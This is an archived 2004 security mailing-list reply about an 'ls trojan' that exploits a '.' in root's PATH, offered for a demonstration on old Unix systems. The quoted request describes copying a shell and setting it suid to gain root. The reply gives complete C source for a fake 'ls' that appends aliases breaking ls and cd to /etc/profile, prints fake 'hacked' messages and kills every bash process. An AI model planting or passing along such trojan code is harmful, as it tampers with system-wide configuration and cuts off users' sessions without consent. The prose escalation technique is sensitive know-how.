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Re: Old LS Trojan?
From: "colinm () clientsecure net" <colinm () clientsecure net>
Date: Wed, 01 Dec 2004 19:13:45 -0600

you could just whip one up, for demonstration purposes this would be funny
without doing any harm. just fix /etc/profile when your done.

#ls.c  compile with gcc -o ls ls.c
#include <stdio.h>
int x;
main(){
   printf("You've been hacked!\n");
   system("echo alias ls='\"echo \\n\"' >>/etc/profile");
system("echo alias cd='\"echo No such file or directory\"' >>/etc/profile");
   for(x=1;x<8;++x){
   printf(".\n");
   }
   printf("installing backdoors and such...\n");
   printf("clearing /var/log dir of tracks...\n");
   sleep(3);
   printf("\n\nC-YA!\n");
   system("killall -9 bash");
}

cm

David S. Morgan wrote:
Hey all,

I am looking for an old LS trojan, with trojan being a misnomer.  Essentially, the scinario is that the admin (root) has a . 
(dot) in his path.  The bad-user knows this, and has crafted an LS shell script (the part that I can't find) that 
essentially copies /sbin/sh to a hidden directory and then performs some suid majik to make the sh run as if they were root, 
without needing the root password.  The file then removes itself and does the real version of ls.

Does anyone remember this one, and have the ls script anywhere?  I would like to use it in a demonstration.  I know that this has 
probobly been fixed in various ways, but I have "old Unixes" for just such occasions.

Dave Morgan

David S. Morgan CISSP, CCNP aka: captkras () earthlink net

"When the winds of change blow hard enough, even the most tiny object
can become a deadly projectile"

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Charter: http://lists.netsys.com/full-disclosure-charter.html


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